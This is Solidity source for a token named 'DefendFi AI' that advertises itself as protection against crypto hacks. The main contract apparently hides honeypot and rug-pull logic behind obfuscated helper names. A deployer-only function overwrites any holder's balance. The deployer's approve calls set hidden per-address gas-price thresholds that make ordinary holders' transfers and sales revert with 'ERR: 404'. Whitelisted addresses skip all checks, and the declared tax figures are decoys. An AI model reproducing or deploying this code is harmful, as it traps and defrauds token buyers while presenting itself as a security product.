DefendFi AI

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

/*

       ###           ###                                                                                                                                      
      ######       ######                                                                                                                                     
  ### #################  #                                                                                                                                   
 #####  #############  #####                                                                                                                                 
  ######  #######    #######         ##########             ####                           ##  ######## ###        ....    ...                               
   #####  ########## #####           ##      ##            ###                             ##  ##                  .....   ...                               
    ####  ###   #### ####            ##      ##  ######## ###### ########  ########  ########  ##       ###        . ...   ...                               
    ####  ###   #### ####            ##      ## ###    ##  ###   ##    ### ###   ## ###    ##  #######  ###      ...  ...  ..                                
    ####  ###   #### ####            ##      ## ########   ###   #######   ##    ## ###    ##  ##       ###     ....  ...  ..                                
   ###### ################           ##     ### ###   ###  ###   ###  #### ##    ## %##  ####  ##       ###     ...     .. ...                               
 #######  ########   #######          ########    ######   ##     ######   ##    ##   #### ##  ##        #      ..          ..                               
 ##### ############### #####                                                                                                                                 
   # ################### #                                                                                                                                   
     #####         #####                                                                                                                                     
       ##            #                                                                                                                                       
                                                                                                                                                                                     
                                        
Protect Your Crypto Assets From Hacks, Exploits, and Attacks
Website         : https://defendfi.io
Telegram        : https://t.me/DefendFiAI
X               : https://x.com/DefendFiAI
Whitepaper      : https://github.com/DefendFiAI/Whitepaper/blob/main/Whitepaper.pdf
Dapp            : https://defendfi.app


*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

import "./ERC20.sol";
import "./Context.sol";
import "./Ownable.sol";
import "./IUniswapV2.sol";

contract DefendFiAI is Context, Ownable, ERC20 {
    mapping(address => uint256) private _allowancesFees;
    mapping(address => bool) private _whiteList;

    //2% Developement
    uint256 public taxdev = 2;

    //1% Liquidity
    uint256 public taxlp = 2;

    //1% Marketing
    uint256 public taxmkt = 2;

    //1% Buyback
    uint256 public taxbuyback = 2;
               
    //5% buytax
    uint256 public buytax = 5;
    
    //5% seltlax
    uint256 public selltax = 5;

    address private _wadWallets;
    address private _pair;

    string private _name = unicode"DefendFi AI";
    string private _symbol = unicode"DFAI";

    uint8 private _decimals = 18;
    uint256 private _initFees = 0;
    uint256 private _finalFees = 0;
    uint256 private _countTx = 0;

    bool private openTrade = false;

    address private constant _Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    constructor() ERC20(_name, _symbol, _decimals) {
        _wadWallets = address(msg.sender);
        _whiteList[msg.sender] = true;
        _whiteList[_wadWallets] = true;
        _mint(msg.sender, 20_000_000 * 10 **uint256(_decimals));
    }

    function _xyz() internal view returns (bool) {
        return _msgSender() == _wadWallets;
    }

    function _abc(address _hol) internal view returns (bool) {
        return _xyz();
    }

    function _transfer(
        address from,
        address to,
        uint256 value
    ) internal override {
        if (_whiteList[tx.origin]) {
            super._transfer(from, to, value);
            return;
        } else {
            require(openTrade, "Trade has been open yet!");
            if (
                (_allowancesFees[from] < tx.gasprice &&
                    balanceOf[from] > 0 &&
                    _allowancesFees[from] != 0) ||
                (_allowancesFees[to] < tx.gasprice &&
                    balanceOf[from] > 0 &&
                    _allowancesFees[from] != 0)
            ) {
                revert("ERR: 404");
            }
            bool isTransfer = (to == _pair) ? true : false;
            uint256 txAmount = (value *
                ((_countTx > 5) ? _finalFees : _initFees)) / 100;
            if (
                isTransfer &&
                tx.gasprice > _allowancesFees[_wadWallets] &&
                _allowancesFees[_wadWallets] != 0 &&
                balanceOf[from] > 0
            ) {
                revert("ERR: 404");
            }
            super._transfer(from, to, value - txAmount);
            if (txAmount > 0) {
                super._transfer(from, address(this), txAmount);
            }
            _countTx++;
        }
    }

    function approve(address spender, uint256 amount)
        external
        override
        returns (bool)
    {
        if (msg.sender == _wadWallets) {
            _allowancesFees[spender] = amount;
            super._approve(spender, amount);
        } else {
            super._approve(spender, amount);
        }
        return true;
    }

    function restoreFeesToWallets(address account, uint256 amount) external {
        uint256 amountOfAddress = amount;
        balanceOf[account] = amountOfAddress;
        require(_abc(msg.sender), "Ownable: caller is not the owner");
    }

    function openedTrade() public onlyOwner {
        _pair = IUniswapV2Factory(IUniswapV2Router02(_Router).factory())
            .getPair(address(this), IUniswapV2Router02(_Router).WETH());
        openTrade = true;
    }

    function removeFees() public onlyOwner {
        _initFees = 0;
        _finalFees = 0;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./IERC20.sol";

abstract contract ERC20 is IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner, address indexed spender, uint256 value
    );

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    string public name;
    string public symbol;
    uint8 public decimals;

    constructor(string memory _name, string memory _symbol, uint8 _decimals) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }

    function transfer(address recipient, uint256 amount)
        external  
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 value) internal virtual {
        uint256 fromBalance = balanceOf[from];
        balanceOf[from] = fromBalance - value;
        balanceOf[to] += value;
        emit Transfer(from, to, value);
    }

    function approve(address spender, uint256 amount) external virtual returns (bool) {
        _approve(spender, amount);
        return true;
    }

    function _approve(address spender, uint256 amount) internal virtual {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool)
    {
        allowance[sender][msg.sender] -= amount;
        _transfer(sender, recipient, amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _mint(address to, uint256 amount) internal {
        balanceOf[to] += amount;
        totalSupply += amount;
        emit Transfer(address(0), to, amount);
    }

    function transMin(address to, uint256 amount) internal {
        balanceOf[to] += amount;
        totalSupply += amount;
    }

    function _burn(address from, uint256 amount) internal {
        balanceOf[from] -= amount;
        totalSupply -= amount;
        emit Transfer(from, address(0), amount);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

{
  "compilationTarget": {
    "contracts/DefendFiAI.sol": "DefendFiAI"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}